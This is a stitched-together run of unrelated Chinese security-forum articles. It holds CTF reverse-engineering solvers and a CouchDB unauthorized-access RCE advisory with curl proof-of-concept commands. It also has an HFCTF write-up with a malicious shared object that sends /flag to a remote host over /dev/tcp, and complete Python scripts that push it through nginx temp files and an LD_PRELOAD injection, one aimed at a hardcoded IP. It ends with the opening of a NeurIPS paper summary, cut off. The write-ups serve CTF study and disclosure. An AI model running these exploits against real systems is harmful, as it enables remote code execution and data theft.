v8 += magic;
}
return (v8 >> 2) & 3;
}
DWORD GetMagic2(int time,int x)
{
DWORD magic = 0x44336730 + x;
DWORD v8 = 0;
for (int i = 0; i < time; i++) {
v8 += magic;
}
return v8;
}
int main()
{
unsigned long ENC[32] = { 0 };
for (int x = 0;x < 256;x++){
memcpy(ENC, Enc, 32 * 4);
DWORD* a1 = (DWORD*)ENC;
DWORD know[] = { 68,48,103,51 };
for (int j = 7; j > 0; j--) {
DWORD v8 = GetMagic2(j,x);
DWORD v6 = GetMagic1(j,x);
DWORD v9 = a1[30];
a1[31] -= ((v9 ^ (know[(v6 ^ 31) & 3])) + (*a1 ^ v8)) ^ (((16 * v9) ^ (*a1 >> 3))
+ ((4 * *a1) ^ (v9 >> 5)));
for (int i = 30; i >= 0; i--) {
if (i == 0) {
v9 = a1[31];
}
else {
v9 = a1[i - 1];
}
a1[i] -= ((v9 ^ (know[(v6 ^ i) & 3])) + (a1[i + 1] ^ v8)) ^ (((16 * v9) ^ (a1[i + 1] >> 3))
+ ((4 * a1[i + 1]) ^ (v9 >> 5)));
}
}
if(ENC[0] < 256){
printf("%d",x);
}
}
}
x = 77
然后再逆矩阵变换，我们可以构造一个`{1,2,3,4,5,6,7,...}`的数组然后进行加密拿到置换表
int j = 0;
int i = 0;
int v1[128] = { 0 };
char table[32] = { 0 };
// DWORD* table = ENC;
// char table[32] = { 0x25,0x4f,0x1d,0x32,0x6b,0x5c,0x3c,0x1d,0x5c,0x6e,0x06,0x42,0x40,0x1a,0x0f,0x15,0x1c,0x2b,0x2b,0x57,0x5c,0x00,0x1a,0x36,0x66,0x44,0x2b,0x00,0x09};
for(int sb = 0;sb<32;sb++){
table[sb] = sb + 1;
}
while (i < 32)
{
if (j % 6 >= 3)
v1[32 * (3 - j % 3) + i] = table[i];
else
v1[32 * (j % 3) + i] = table[i];
++i;
++j;
}
char result[32] = { 0 };
int v7 = 0;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 32; ++j)
{
if (v1[32 * i + j])
result[v7++] = (unsigned __int8)v1[32 * i + j];
}
}
__asm int 3;
然后把提取表，逆置换，再逆异或即可拿到flag
char ConverTable[32] = { 0x1,0x07,0x0d,0x13,0x19,0x1f,0x02,0x06,0x08,0x0c,0x0e,0x12,0x14,0x18,0x1a,0x1e,0x20,0x03,0x05,0x09,0x0b,0x0f,0x11,0x15,0x17,0x1b,0x1d,0x04,0x0a,0x10,0x16,0x1c };
for(int i = 0;i<32;i++){
ConverTable[i] -= 1; // 这里对应关系要 -1
}
char sb[33] = { 0 };
for(int i = 0;i<32;i++){
sb[ConverTable[i]] =(char)ENC[i];
}
sb[31] ^= sb[0];
for(int i = 30 ;i>=0;i--){
// printf("%d", i);
sb[i] ^= sb[(i + 1) % 32];
}
printf("%s", sb);
Th4_1mp0rtant_th2n9_is_t0_le@rn!
## virus
主体程序是一个`process hollowing`
`sub_40132C`是一个资源提取的函数，这里用`0x41`解密资源
用`resource hacker` 把 资源节的`LOCALIZATION`的`UNICODE`数据提取，然后异或65 即可拿到真正的exe
`sub_4010EA` 是`process hollowing` 没有修改释放的程序内容，因此我们可以直接把提取的exe解包。
解包分析：
首先要输入一个key
这里key经过`KeyExpand`函数生成了128位key，程序验证最后32位是否位`Lroo`，由于key只有4位，这里我们可以直接爆破。
void __cdecl sub_401790(char* a1, char* a2)
{
DWORD v2[56]; // [esp+4Ch] [ebp-FCh] BYREF
int v3; // [esp+12Ch] [ebp-1Ch]
int v4; // [esp+130h] [ebp-18h]
int v5; // [esp+134h] [ebp-14h]
int j; // [esp+138h] [ebp-10h]
int v7; // [esp+13Ch] [ebp-Ch]
int v8; // [esp+140h] [ebp-8h]
int i; // [esp+144h] [ebp-4h]
for (i = 0; i < 4; ++i)
{
v8 = *(char*)(i + a1);
for (j = 6; j >= 0; --j)
{
v2[7 * i + 28 + j] = v8 % 2;
v8 /= 2;
v2[7 * i + j] = v2[7 * i + 28 + j];
}
}
v5 = 0;
v4 = 0;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 7; ++j)
{
v3 = v2[7 * v5 + v4];
v2[7 * i + 28 + j] = v3;
v5 = (v5 + 1) % 4;
v4 = (v4 + 2) % 7;
}
}
for (i = 0; i < 4; ++i)
{
v7 = 0;
for (j = 0; j < 6; ++j)
{
v7 = 2 * (v7 + v2[7 * i + 28 + j]);
if (v2[7 * i + 29 + j] == 1 && j == 5)
++v7;
}
*(BYTE*)(i + a2) = v7;
}
}
void baopo()
{
char table[] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/_-" };
char key[5] = { "" };
for (int a1 = 0; a1 < strlen(table); a1++)
for (int a2 = 0; a2 < strlen(table); a2++)
for (int a3 = 0; a3 < strlen(table); a3++)
for (int a4 = 0; a4 < strlen(table); a4++) {
key[0] = table[a1];
key[1] = table[a2];
key[2] = table[a3];
key[3] = table[a4];
char test[5] = { 0 };
lstrcpynA(test, key, 5);
char result[20] = { 0 };
for (int i = 0; i < 4; i++) {
sub_401790(key, result);
lstrcpynA(key, result, 5);
}
if (!strcmp(key, "Lroo")) {
printf("%s", test);
system("pause");
}
}
}
key = `_shy`
这里key 生成了 `v11`，提取`v11`
然后是最后的加密函数
void __cdecl sub_4012F0(int a1, int a2, int a3)
{
int v3[36]; // [esp+4Ch] [ebp-94h] BYREF
int i; // [esp+DCh] [ebp-4h]
for ( i = 0; i < 4; ++i )
pack(a1 + 4 * i, &v3[i]);
for ( i = 0; i < 32; ++i )
v3[i + 4] = sub_401005(*(_DWORD *)(a2 + 4 * i + 16) ^ v3[i + 3] ^ v3[i + 2] ^ v3[i + 1]) ^ v3[i];
for ( i = 0; i < 4; ++i )
unpack(v3[35 - i], a3 + 4 * i);
}
int __cdecl pack(int a1, int *a2)
{
int result; // eax
int i; // [esp+4Ch] [ebp-4h]
result = (int)a2;
*a2 = 0;
for ( i = 0; i < 4; ++i )
{
result = *a2 | (*(unsigned __int8 *)(i + a1) << (24 - 8 * i));
*a2 = result;
}
return result;
int __cdecl unpack(unsigned int a1, int a2)
{
int result; // eax
int i; // [esp+4Ch] [ebp-4h]
for ( i = 0; i < 4; ++i )
{
*(_BYTE *)(i + a2) = a1 >> (24 - 8 * i);
result = i + 1;
}
return result;
}
`sub_40103c` 和`sub_401019` 是大端序的“pack” 和 “unpack”
函数。`sub_401005`是一个函数，他传入已知参数，得到的返回值与`v3[i]`异或得到加密值，写exp时需要用到这个函数，但是由于这个函数内部流程稍微比较复杂，这里我们可以用远线程注入的方法调用此函数，拿到返回值。
DWORD GetRemoteCallValue(HANDLE hProcess,DWORD v)
{
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)0x4011e0, (LPVOID)v, 0, 0);
WaitForSingleObject(hThread, -1);
DWORD ret = 0;
GetExitCodeThread(hThread, &ret);
CloseHandle(hThread);
return ret;
}
所以最终的exp如下
#include <windows.h>
#include <stdio.h>
void __cdecl sub_401790(char* a1, char* a2)
{
DWORD v2[56]; // [esp+4Ch] [ebp-FCh] BYREF
int v3; // [esp+12Ch] [ebp-1Ch]
int v4; // [esp+130h] [ebp-18h]
int v5; // [esp+134h] [ebp-14h]
int j; // [esp+138h] [ebp-10h]
int v7; // [esp+13Ch] [ebp-Ch]
int v8; // [esp+140h] [ebp-8h]
int i; // [esp+144h] [ebp-4h]
for (i = 0; i < 4; ++i)
{
v8 = *(char*)(i + a1);
for (j = 6; j >= 0; --j)
{
v2[7 * i + 28 + j] = v8 % 2;
v8 /= 2;
v2[7 * i + j] = v2[7 * i + 28 + j];
}
}
v5 = 0;
v4 = 0;
for (i = 0; i < 4; ++i)
{
for (j = 0; j < 7; ++j)
{
v3 = v2[7 * v5 + v4];
v2[7 * i + 28 + j] = v3;
v5 = (v5 + 1) % 4;
v4 = (v4 + 2) % 7;
}
}
for (i = 0; i < 4; ++i)
{
v7 = 0;
for (j = 0; j < 6; ++j)
{
v7 = 2 * (v7 + v2[7 * i + 28 + j]);
if (v2[7 * i + 29 + j] == 1 && j == 5)
++v7;
}
*(BYTE*)(i + a2) = v7;
}
}
void baopo()
{
char table[] = { "ABCDEFGHIJKLMNOPQRSTUVWXYZ"
"abcdefghijklmnopqrstuvwxyz"
"0123456789+/_-" };
char key[5] = { "" };
for (int a1 = 0; a1 < strlen(table); a1++)
for (int a2 = 0; a2 < strlen(table); a2++)
for (int a3 = 0; a3 < strlen(table); a3++)
for (int a4 = 0; a4 < strlen(table); a4++) {
key[0] = table[a1];
key[1] = table[a2];
key[2] = table[a3];
key[3] = table[a4];
char test[5] = { 0 };
lstrcpynA(test, key, 5);
char result[20] = { 0 };
for (int i = 0; i < 4; i++) {
sub_401790(key, result);
lstrcpynA(key, result, 5);
}
if (!strcmp(key, "Lroo")) {
printf("%s", test);
system("pause");
}
}
}
unsigned char Enc[] = { 0x5C, 0x89, 0xEE, 0xF5, 0x6F, 0xC5, 0x44, 0x92, 0xDB, 0xE3,
0xAE, 0x9C, 0xB5, 0x4F, 0x4A, 0xF4, 0xE7, 0xA3, 0x5E, 0x0F,
0xFC, 0x93, 0xFC, 0x76, 0x6C, 0xFB, 0x29, 0xE0, 0x16, 0x2F,
0xA5, 0x67
};
unsigned long key[] = {
0xCBD6C588, 0x03F17D27, 0x1C18E9CC, 0xFE024DB3, 0xD71737EB, 0x7B9B1EAB, 0x2776BBA4, 0xBD2018C0,
0x356D0553, 0x0C825513, 0xCAAFF094, 0x9DFBCBA1, 0x7EB6B878, 0x47630F35, 0x4B494BBE, 0x34FD620A,
0x14CF85EF, 0xD754E93A, 0x338B4918, 0xC0846091, 0xD526F236, 0xB9CE1FC7, 0xCB537B6A, 0x25FDD8EA,
0x7221094B, 0xA1F73ABF, 0x2473D8CC, 0x8FA4F2F2, 0x1E7CAC59, 0xEC581806, 0x425D33C3, 0xBEB16ED4,
0xE5C0CA70, 0x02B60624, 0x3011744F, 0xF73A6E51
};
DWORD pack(const char * a)
{
int r = 0;
for(int i = 0;i<4;i++){
r <<= 8;
r |= (BYTE)a[i];
}
return r;
}
// char* unpack()
// {
// }
DWORD GetRemoteCallValue(HANDLE hProcess,DWORD v)
{
HANDLE hThread = CreateRemoteThread(hProcess, NULL, NULL, (LPTHREAD_START_ROUTINE)0x4011e0, (LPVOID)v, 0, 0);
WaitForSingleObject(hThread, -1);
DWORD ret = 0;
GetExitCodeThread(hThread, &ret);
CloseHandle(hThread);
return ret;
}
int main(void)
{
for(int x = 0;x<2;x++){
unsigned v1 = pack((const char*)Enc + 12 + 16 *x);
unsigned v2 = pack((const char*)Enc + 8 + 16*x);
unsigned v3 = pack((const char*)Enc + 4 + 16 *x);
unsigned v4 = pack((const char*)Enc + 16 *x);
unsigned Temp[36] = { 0 };
Temp[32] = v1;
Temp[33] = v2;
Temp[34] = v3;
Temp[35] = v4;
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 5052); //TODO: 5852为解包出的题目程序运行的pid
for (int i = 31; i >= 0; i--) {
Temp[i] = GetRemoteCallValue(hProcess, Temp[i + 1] ^ Temp[i + 2] ^ Temp[i + 3] ^ key[i + 4]) ^ Temp[i + 4];
}
for (int i = 0; i < 4; i++) {
Temp[i] ^= 0x06070607;
}
char* sb1 = (char*)Temp;
for(int i = 0;i<4;i++){
for(int j = 0 ; j< 4;j++){
printf("%c", sb1[i * 4 + (3 - j)]);
}
}
}
system("pause");
}
Ho3_I_Exp3cTed_n0_pY_1n_the_Ctf!
# maze
一个很简单的迷宫，先算出dWWwwdddWWaawwddsssSaw的解法
但是找不到flag验证函数
然后题目提示 hint:字符串
这里输入了正确迷宫后，用x32dbg查找字符串可以看到变换的base64码表和base64字符串
解出前半部分
import base64
import string
str1 = "QCAmN2sYNGUfR3EvOUMuNWYkW3k1JR=="
string1 = "BADCFEHGJILKNMPORQTSVUXWZYbadcfehgjilknmporqtsvuxwzy1032547698+/"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))
这里是迷宫验证逻辑处
int __cdecl sub_411E30(char a1)
{
unsigned int v1; // eax
_BYTE *v2; // eax
int i; // [esp+D4h] [ebp-40h]
char v5[36]; // [esp+E0h] [ebp-34h] BYREF
int v6; // [esp+110h] [ebp-4h]
v6 = 0;
sub_411406(v5, (char *)byte_41D94C);
LOBYTE(v6) = 1;
for ( i = 0; i < 44; ++i )
{
v1 = sub_4113ED(&a1);
v2 = (_BYTE *)sub_411262(i % v1);
sub_4114AB(byte_42024C[i] ^ *v2);
}
sub_4112C6(std::cout, "Congratulations!!! \nBut more than...");
Sleep(0x989680u);
sub_4112C6(std::cout, "Maybe there's something wrong with the front...");
LOBYTE(v6) = 0;
sub_41132F(v5);
v6 = -1;
return sub_41132F(&a1);
}
题目提示`"Maybe there's something wrong with the
front..."`，在验证成功的逻辑上方有个很奇怪的逻辑，因为`byte_42024C`全是0，但是要异或，而且找不到验证逻辑。但是交叉引用`byte_42024C`发现这个函数
int sub_411D80()
{
int v0; // ecx
int result; // eax
int i; // [esp+D0h] [ebp-8h]
for ( i = 1; i < 44; ++i )
byte_420000[i] = byte_42024B[i] & 0xE0 | byte_42024C[i] & 0x1F;
v0 = byte_420277 & 0xE0;
result = v0 | byte_42024C[0] & 0x1F;
byte_420000[0] = v0 | byte_42024C[0] & 0x1F;
return result;
}
然而byte_420000 是有数据的，这里就可以求出`byte_42024C`
from z3 import *
enc = [0x0e,0x5D, 0x7D, 0x7D, 0x5D, 0x4E, 0x4E, 0x4E, 0x5D, 0x7D, 0x6B, 0x4B, 0x5D, 0x5D, 0x4E, 0x4E, 0x59,
0x59, 0x59, 0x59, 0x6B, 0x5D, 0x53, 0x24, 0x7B, 0x34, 0x07, 0x49, 0x01, 0x1B, 0x23, 0x27, 0x7E,
0x35, 0x3F, 0x12, 0x1B, 0x29, 0x32, 0x09, 0x16, 0x12, 0x60, 0x4A]
sb = [BitVec(f"sb[{i}]",8) for i in range(45)]
s = Solver()
for i in range(1,44):
s.add(sb[i-1] & 0xe0 | sb[i] & 0x1f == enc[i]
print(s.check())
print(s.model())
由于最开始那儿有个异或，我们就可以把解出来的数据和那个地图迷宫路径异或
sb = [0] *44
sb[43] = 10
sb[0] = 64
sb[22] = 51
sb[13] = 93
sb[20] = 75
sb[33] = 53
sb[42] = 64
sb[14] = 78
sb[5] = 78
sb[3] = 93
sb[32] = 62
sb[34] = 31
sb[29] = 59
sb[17] = 89
sb[38] = 18
sb[16] = 89
sb[37] = 41
sb[26] = 71
sb[39] = 9
sb[2] = 125
sb[9] = 125
sb[11] = 75
sb[30] = 35
sb[31] = 103
sb[27] = 9
sb[21] = 93
sb[8] = 125
sb[19] = 121
sb[35] = 18
sb[12] = 93
sb[4] = 93
sb[28] = 1
sb[40] = 22
sb[23] = 100
sb[24] = 59
sb[10] = 75
sb[1] = 125
sb[25] = 20
sb[36] = 59
sb[41] = 114
sb[15] = 78
sb[7] = 78
sb[6] = 78
sb[18] = 89
flag = ""
maze = "dWWwwdddWWaawwddsssSaw"
for i in range(44):
flag += chr(sb[i] ^ ord(maze[i % len(maze)]))
print(flag)
D0g3{Y0u^Can=So1ve_it!W3lc0me_t0_The_Maze!!}
## localhost:2333
打开ida 一看`start` 就知道是UPX，先解开。
打开`server_getflag` 根据函数名和逻辑猜测此为输入和验证长度
进入`MainVM` 观察虚拟机结构，发现这是一个基于栈的虚拟机
观察`InitVM`
观察`MainVM` 这里根据code 调用了对应的函数
观察每个函数 除了`vm___ptr_register__sub_9` 以外，F5的伪代码的前半部分完全一样
其实`vm___ptr_register__sub_9` 为比对算法
唯独最后几句，所以这几句是虚拟机的关键几句
如：`vm___ptr_register__sub_2` 的最后几句说明这是一个异或
我们这里可以在gdb调试的时候断在此处，根据运算数据猜测加密算法
但是这里只有5个函数，这里的虚拟机指令似乎有8、9种，猜测其他的逻辑被内联了
这里是右移
gdb 断在这些地方
输入`"012345678901234567890123456789"` gdb 断下：观察寄存器
0-10的加密
>>> hex(0x30^0xff)
'0xcf'
>>> 0xcf - 0
根据多次断点发现`RAX`为`index`，下一轮异或值用到了前一轮的结果
10-20：
`0x47`不知道哪儿来的，但是注意`InitVM` 初始化了`GOL[@nD](https://github.com/nD
"@nD")~!!!`,实际上就是和这个异或
20-30:
>>> 0x30 >> 3 | (0x30 << 5 & 0xff)
6
exp:
enc = [0x9b, 0xaa, 0xcb, 0xf5, 0x8a, 0xc8, 0xa1, 0x89, 0xe0, 0xa5,
0x7e, 0x10, 0x3a, 0x0d, 0x31, 0x75, 0x2d, 0x7e, 0x77, 0x64,
0x4a, 0x2b, 0xeb, 0xac, 0x08, 0x84, 0x2b, 0x24, 0x24, 0xaf]
# xor_key = 0x217E446E404C4F47
xor_key = [0x47, 0x4f, 0x4c, 0x40, 0x6e, 0x44, 0x7e, 0x21, 0x21, 0x21]
magic_key = 0xff
flag = ""
for i in range(0, 10):
if i == 0:
magic_key = 0xff
else:
magic_key = enc[i - 1]
raw = (enc[i] + i ^ magic_key)
flag += chr(raw)
for i in range(10, 20):
flag += chr(enc[i] ^ xor_key[i - 10])
# >> 3 << 5
for i in range(20, 30):
flag += chr(enc[i] << 3 & 0xf8 | (enc[i] >> 5) & 0xff)
print(flag)
d0g3{Go1aN9_vM_1S_VERY_e@$Y!!} | 社区文章 |
CouchDB 是一个开源的面向文档的数据库管理系统，可以通过 RESTful JavaScript Object Notation (JSON)
API
访问。CouchDB会默认会在5984端口开放Restful的API接口，用于数据库的管理功能。经过测试云盾团队率先发现，利用该未授权访问漏洞不仅会造成数据的丢失和泄露，甚至可执行任意系统命令。
### 0x01 漏洞分析
翻阅官方描述会发现，CouchDB中有一个Query_Server的配置项，在官方文档中是这么描述的：
CouchDB delegates computation of design documents functions to external query
servers. The external query server is a special OS process which communicates
with CouchDB over standard input/output using a very simple line-based
protocol with JSON messages.
直白点说，就是CouchDB允许用户指定一个二进制程序或者脚本，与CouchDB进行数据交互和处理，query_server在配置文件local.ini中的格式：
[query_servers]
LANGUAGE = PATH ARGS
默认情况下，配置文件中已经设置了两个query_servers:
[query_servers]
javascript = /usr/bin/couchjs /usr/share/couchdb/server/main.js
coffeescript = /usr/bin/couchjs /usr/share/couchdb/server/main-coffee.js
可以看到，CouchDB在query_server中引入了外部的二进制程序来执行命令，如果我们可以更改这个配置，那么就可以利用数据库来执行命令了，但是这个配置是在local.ini文件中的，如何控制呢？
继续读官方的文档，发现了一个有意思的功能，CouchDB提供了一个API接口用来更改自身的配置，并把修改后的结果保存到配置文件中：
The CouchDB Server Configuration API provide an interface to query and update
the various configuration values within a running CouchDB instance
[
也就是说，除了local.ini的配置文件，CouchDB允许通过自身提供的Restful
API接口动态修改配置属性。结合以上两点，我们可以通过一个未授权访问的CouchDB，通过修改其query_server配置，来执行系统命令。
### 0x02 POC
新增query_server配置，这里执行ifconfig命令：
curl -X PUT '<http://1.1.1.1:5984/_config/query_servers/cmd'>; -d '"/sbin/ifconfig >/tmp/6666"'
新建一个临时表，插入一条记录：
curl -X PUT '<http://1.1.1.1:5984/vultest'>;
curl -X PUT '<http://1.1.1.1:5984/vultest/vul'>; -d '{"_id":"770895a97726d5ca6d70a22173005c7b"}'
调用query_server处理数据：
`curl -X POST '<http://1.1.1.1:5984/vultest/_temp_view?limit=11'>; -d
'{"language":"cmd","map":""}' -H 'Content-Type: application/json'`
[
可以看到，指定的ifconfig命令已经成功执行：
[
### 0x03 漏洞修复
1、指定CouchDB绑定的IP （需要重启CouchDB才能生效） 在 /etc/couchdb/local.ini 文件中找到
“bind_address = 0.0.0.0” ，把 0.0.0.0 修改为 127.0.0.1 ，然后保存。注：修改后只有本机才能访问CouchDB。
2、设置访问密码 （需要重启CouchDB才能生效） 在 /etc/couchdb/local.ini 中找到“[admins]”字段配置密码。
### 0x04 参考链接
<http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html>
<http://docs.couchdb.org/en/1.6.1/api/server/configuration.html#api-config>
<http://docs.couchdb.org/en/1.6.1/intro/api.html>
<http://docs.couchdb.org/en/1.6.1/config/query-servers.html> | 社区文章 |
## HFCTF 2022 | ezphp
## 考点
* Nginx 接收Fastcgi的过大响应 或 request body过大时会缓存到临时文件
## 题目源码
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
Dockerfile
FROM php:7.4.28-fpm-buster
LABEL Maintainer="yxxx"
ENV REFRESHED_AT 2022-03-14
ENV LANG C.UTF-8
RUN sed -i 's/http:\/\/security.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
RUN sed -i 's/http:\/\/deb.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
RUN apt upgrade -y && \
apt update -y && \
apt install nginx -y
ENV DEBIAN_FRONTEND noninteractive
COPY index.php /var/www/html
COPY default.conf /etc/nginx/sites-available/default
COPY flag /flag
EXPOSE 80
CMD php-fpm -D && nginx -g 'daemon off;'
一开始的时候想错了，以为是要用php-fpm来打system，然后利用[P牛的payload](https://www.leavesongs.com/PENETRATION/how-I-hack-bash-through-environment-injection.html)直接打，结果发现不行。。。首先就是环境不对。然后参考了一下
hxpctf2021 的 update 和 includer’s revenge。
这种利用方式很巧妙，成功实现了 LFI = RCE，但实现起来也有困难。
### 临时文件的生成
> client_body_buffer_size:
> Sets buffer size for reading client request body. In case the request body
> is larger than the buffer, the whole body or only its part is written to a
> temporary file. By default, buffer size is equal to two memory pages. This
> is 8K on x86, other 32-bit platforms, and x86-64. It is usually 16K on other
> 64-bit platforms.
设置用于读取客户端请求正文的缓冲区大小。如果请求正文大于缓冲区，则整个正文或仅其部分将写入临时文件。默认情况下，缓冲区大小等于两个内存页。这是 x86、其他
32 位平台和 x86-64 上的 8K。在其他 64 位平台上，它通常为 16K。
在`ngx_open_tempfile`中Nginx临时文件的创建方式：
ngx_fd_t
ngx_open_tempfile(u_char *name, ngx_uint_t persistent, ngx_uint_t access)
{
ngx_fd_t fd;
fd = open((const char *) name, O_CREAT|O_EXCL|O_RDWR,
access ? access : 0600);
if (fd != -1 && !persistent) {
(void) unlink((const char *) name);
}
return fd;
}
创建之后会马上删除这个文件，然后把这个文件的`fd`返回出去。
那我们能不能利用条件竞争然后写入临时文件呢？很遗憾，很难。因为临时文件的文件名与Nginx的请求处理长度有关，随着请求处理的增长而增长，
且临时文件的文件名一般为`/var/lib/nginx/body/000000xxxx`，一个十位向左填充0的数字。所以我们不但需要去爆破文件名，还要同时利用条件竞争保存临时文件，完成两个基本不可能。
### 复刻Nginx
我们可以用 c 简单复刻一个大概的 demo ，使用如下代码模拟 Nginx 对于临时文件处理的行为
贴一份大佬的代码：
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <error.h>
#include <unistd.h>
int main() {
puts("[+] test for open/unlink/write [+]\n");
int fd = open("test.txt", O_CREAT|O_EXCL|O_RDWR, 0600);
printf("open file with fd %d,try unlink\n",fd);
unlink("test.txt");
printf("unlink file, try write content\n");
if(write(fd, "<?php phpinfo();?>", 19) != 19)
{
printf("write file error!\n");
}
char buffer[0x10] = {0};
lseek(fd, 0,SEEK_SET);
int size = read(fd, buffer , 19);
printf("read size is %d\n",size);
printf("read buffer is %s\n",buffer);
while(1) {
sleep(10);
}
// close(fd);
return 0;
}
dr-x------ 2 root root 0 Mar 22 15:33 ./
dr-xr-xr-x 9 root root 0 Mar 22 15:33 ../
lrwx------ 1 root root 64 Mar 22 15:33 0 -> /dev/pts/0
lrwx------ 1 root root 64 Mar 22 15:33 1 -> /dev/pts/0
lrwx------ 1 root root 64 Mar 22 15:33 2 -> /dev/pts/0
lrwx------ 1 root root 64 Mar 22 15:33 3 -> /root/test/test (deleted)
可以看到，在对应进程的`proc`目录下，存在对应的fd项目，且为一个软链接，连接到`/root/test/test
(deleted)`，表明该文件已被删除，但仍然可以继续写入并读出。对于软链接文件，PHP会尝试先对软链接进行解析，此时php还会产生临时文件，再将其打开。只要能找到对应的线程，竞争到`proc`中的fd即可完成包含，就可以对我们发送的payload进行包含
总结起来整个过程就是：
* 让后端 php 请求一个过大的文件
* Fastcgi 返回响应包过大，导致 Nginx 产生临时文件进行缓存
* Nginx 删除了`/var/lib/nginx/body`下的临时文件，但是在 `/proc/pid/fd/` 下我们可以找到被删除的文件
* 遍历 pid 以及 fd ，使用多重链接绕过 PHP 包含策略完成 LFI
## 回到题目
看到上面的例子，其实应该就有思路了：只需要想办法写入so文件到Nginx缓存就可以了。
#include <stdlib.h>
#include <string.h>
__attribute__ ((constructor)) void call ()
{
unsetenv("LD_PRELOAD");
char str[65536];
system("bash -c 'cat /flag' > /dev/tcp/ip/port");
system("cat /flag > /var/www/html/flag");
}
生成.so文件
gcc test.c -fpIC -shared -o libsss.so
再通过python脚本，一直往服务器传写入.so文件，之后在URL后面访问flag，得到答案。
import requests
import threading
import multiprocessing
import threading
import random
URL = f'xxx.xxx.xxx.xxx'
nginx_workers = [12, 13, 14, 15]
done = False
# upload a big client body to force nginx to create a /var/lib/nginx/body/$X
def uploader():
while not done:
requests.get(URL, data=open("C:\\Users\\Desktop\\libsss.so", "rb").read() + (16*1024*'A').encode())
for _ in range(16):
t = threading.Thread(target=uploader)
t.start()
def bruter(pid):
global done
while not done:
print(f'[+] brute loop restarted: {pid}')
for fd in range(4, 32):
f = f'/proc/{pid}/fd/{fd}'
print(f)
try:
r = requests.get(URL, params={
'env': 'LD_PRELOAD='+f,
})
print(r.text)
except Exception:
pass
for pid in nginx_workers:
a = threading.Thread(target=bruter, args=(pid, ))
a.start()
贴一份完整脚本：
import requests
import threading
import multiprocessing
import threading
import random
SERVER = "http://120.79.121.132:20674"
NGINX_PIDS_CACHE = set([x for x in range(10,15)])
# Set the following to True to use the above set of PIDs instead of scanning:
USE_NGINX_PIDS_CACHE = True
def create_requests_session():
session = requests.Session()
# Create a large HTTP connection pool to make HTTP requests as fast as possible without TCP handshake overhead
adapter = requests.adapters.HTTPAdapter(pool_connections=1000, pool_maxsize=10000)
session.mount('http://', adapter)
return session
def get_nginx_pids(requests_session):
if USE_NGINX_PIDS_CACHE:
return NGINX_PIDS_CACHE
nginx_pids = set()
# Scan up to PID 200
for i in range(1, 200):
cmdline = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D/proc/{i}/cmdline").text
if cmdline.startswith("nginx: worker process"):
nginx_pids.add(i)
return nginx_pids
def send_payload(requests_session, body_size=1024000):
try:
# The file path (/bla) doesn't need to exist - we simply need to upload a large body to Nginx and fail fast
payload = open("hack.so","rb").read()
requests_session.post(SERVER + "/index.php?action=read&file=/bla", data=(payload + (b"a" * (body_size - len(payload)))))
except:
pass
def send_payload_worker(requests_session):
while True:
send_payload(requests_session)
def send_payload_multiprocess(requests_session):
# Use all CPUs to send the payload as request body for Nginx
for _ in range(multiprocessing.cpu_count()):
p = multiprocessing.Process(target=send_payload_worker, args=(requests_session,))
p.start()
def generate_random_path_prefix(nginx_pids):
# This method creates a path from random amount of ProcFS path components. A generated path will look like /proc/<nginx pid 1>/cwd/proc/<nginx pid 2>/root/proc/<nginx pid 3>/root
path = ""
component_num = random.randint(0, 10)
for _ in range(component_num):
pid = random.choice(nginx_pids)
if random.randint(0, 1) == 0:
path += f"/proc/{pid}/cwd"
else:
path += f"/proc/{pid}/root"
return path
def read_file(requests_session, nginx_pid, fd, nginx_pids):
nginx_pid_list = list(nginx_pids)
while True:
path = generate_random_path_prefix(nginx_pid_list)
path += f"/proc/{nginx_pid}/fd/{fd}"
try:
d = requests_session.get(SERVER + f"/index.php?env=LD_PRELOAD%3D{path}").text
except:
continue
# Flags are formatted as hxp{<flag>}
if "HFCTF" in d:
print("Found flag! ")
print(d)
def read_file_worker(requests_session, nginx_pid, nginx_pids):
# Scan Nginx FDs between 10 - 45 in a loop. Since files and sockets keep closing - it's very common for the request body FD to open within this range
for fd in range(10, 45):
thread = threading.Thread(target = read_file, args = (requests_session, nginx_pid, fd, nginx_pids))
thread.start()
def read_file_multiprocess(requests_session, nginx_pids):
for nginx_pid in nginx_pids:
p = multiprocessing.Process(target=read_file_worker, args=(requests_session, nginx_pid, nginx_pids))
p.start()
if __name__ == "__main__":
print('[DEBUG] Creating requests session')
requests_session = create_requests_session()
print('[DEBUG] Getting Nginx pids')
nginx_pids = get_nginx_pids(requests_session)
print(f'[DEBUG] Nginx pids: {nginx_pids}')
print('[DEBUG] Starting payload sending')
send_payload_multiprocess(requests_session)
print('[DEBUG] Starting fd readers')
read_file_multiprocess(requests_session, nginx_pids)
参考链接：[hxp CTF 2021 - A New Novel LFI](https://tttang.com/archive/1384/ "hxp
CTF 2021 - A New Novel LFI") | 社区文章 |
# NeurIPS-2020论文解读：基于跨模态检索的二进制代码-源代码匹配
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 导语
在NeurIPS 2020中，腾讯安全科恩实验室使用AI算法解决二进制安全问题的《CodeCMR: Cross-Modal Retrieval For
Function-Level Binary Source Code
Matching》论文成功入选。本论文首次提出了基于AI的二进制代码/源代码端到端匹配算法，与传统算法相比效果非常出色，准确率大幅提升。本论文成果为逆向分析领域提供了新的思路，大大提升工业部署效率。最新论文研究成果也将应用于腾讯安全科恩实验室研发的代码检索工具BinaryAI，使用体验请关注：<http://github.com/binaryai/sdk>。
## 关于NeurIPS会议
机器学习和计算神经科学领域的NeurIPS会议是人工智能领域最具影响力的顶级学术会议之一，备受学者们的关注。国际顶级会议NeurIPS
2020将于2020年12月7日-12日在线上举行。据统计，NeurIPS
